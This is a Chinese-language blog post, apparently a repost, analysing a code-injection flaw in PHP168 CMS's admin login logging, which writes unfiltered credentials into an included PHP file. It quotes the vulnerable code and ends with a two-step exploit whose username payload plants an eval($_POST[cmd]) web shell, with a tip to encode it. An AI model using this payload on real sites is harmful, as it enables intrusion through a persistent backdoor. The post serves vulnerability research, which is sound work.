PHP168 CMS的一次新异漏洞分析 's

admin 2017年4月7日05:42:07评论296 views字数 2278阅读7分35秒阅读模式
摘要

作者:李丰初admin/global.php对后台管理的用户名与密码没有任何过滤产生了这个漏洞

if( $_POST[loginname] && $_POST[loginpwd] )
{
if( $webdb[yzImgAdminLogin] ){
if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
die("<A HREF=?>验证码不符合</A>");
}else{
set_cookie("yzImgNum","");
}
}
$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>密码不正确</A>");
}elseif(!$rs[uid]){
Add_memberdata($_POST[loginname]);
}else{
login_logs($_POST[loginname],md5($_POST[loginpwd]));
$_COOKIE[Admin]="$rs[uid]/t".mymd5($rs[password]);
[email protected](PHP168_PATH."cache/warn.php");
setcookie("Admin",$_COOKIE[Admin],0,"/");
}
}

作者:李丰初

admin/global.php对后台管理的用户名与密码没有任何过滤产生了这个漏洞

if( $_POST[loginname] && $_POST[loginpwd] )
{
if( $webdb[yzImgAdminLogin] ){
if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){
die("<A HREF=?>验证码不符合</A>");
}else{
set_cookie("yzImgNum","");
}
}
$rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB

输入密码查看隐藏内容

AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' ");
if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs
输入密码查看隐藏内容

){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>密码不正确</A>");
}elseif(!$rs[uid]){
Add_memberdata($_POST[loginname]);
}else{
login_logs($_POST[loginname],md5($_POST[loginpwd]));
$_COOKIE[Admin]="$rs[uid]/t".mymd5($rs
输入密码查看隐藏内容

);
[email protected](PHP168_PATH."cache/warn.php");
setcookie("Admin",$_COOKIE[Admin],0,"/");
}
}

我们看这一段,

if(!$rs){
login_logs($_POST[loginname],$_POST[loginpwd]);
setcookie("Admin",'',0,"/");
die("<A HREF=?>用户不存在</A>");
}elseif( pwd_md5($_POST[loginpwd]) != $rs

输入密码查看隐藏内容

){

如果用户名与密码不对,也一样写入(login_logs),我们跟下这个函数

function login_logs($username,$password){
global $timestamp,$onlineip;
$logdb[]="$username/t$password/t$timestamp/t$onlineip";
@include(PHP168_PATH."cache/adminlogin_logs.php");
$writefile="<?php /r/n";
$jj=0;
foreach($logdb AS $key=>$value){
$jj++;
$writefile.="/$logdb[]=/"$value/";/r/n";

if($jj>200){
break;
}
}
write_file(PHP168_PATH."cache/adminlogin_logs.php",$writefile);
}

漏洞出来了,我们先看这一句,$writefile="<?php /r/n"; $writefile这个变量总是会用PHP文件的"<?php"来开始,也就是说被写入的文件一定是PHP文件,这样子才能被include来使用,关键点了!!!!为了include,这个漏洞就产生了,foreach($logdb AS $key=>$value) 这里是遍历循环一个数组,面这个数组值并不是唯一由登录时传入的用户名与密码产生的数组,而是由include包含的以前登录过的用户名与密码一起联合成的数组!!!就是因为include这里包含,当include里面包含时,如果里面有"/""(反邪扛后面跟一个双引号),那们里面的反邪扛就起作用了,比如里面的数组是

$logdb[]="/"?>;<?phpinfo?> usual 1184814802 192.168.128.192";

当他被include后,就会变成

$logdb[]=""?>;<?phpinfo?> usual 1184814802 192.168.128.192";

这样子就可以B合前面的一个双引了
OK,这个漏洞还是比较有意思的,比一般的SQL注入等有新意思,所以就分析下了.

好我,明白原理了,大家也知道如何利用了吧?

第一次,我们在用户名与密码那里登录分别提交

/"?>;<?eval($_POST[cmd])?> ******( 密码随便乱写)

(最好把<?eval($_POST[cmd])?>先base64再gzdeflate)

第二次我们只要随便输入用户名与密码,就可以成功拿到一个一句话后门了

总结: 文件包含可以让自动过滤掉反邪扛,是php的BUG还是?

PS:此漏洞已经有有公布过,但未公布其中原理,今天无意中看到发现者(忘记是谁了)对此漏洞的描述,加班无聊就分析了下

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年4月7日05:42:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP168 CMS的一次新异漏洞分析 'shttps://cn-sec.com/archives/46356.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息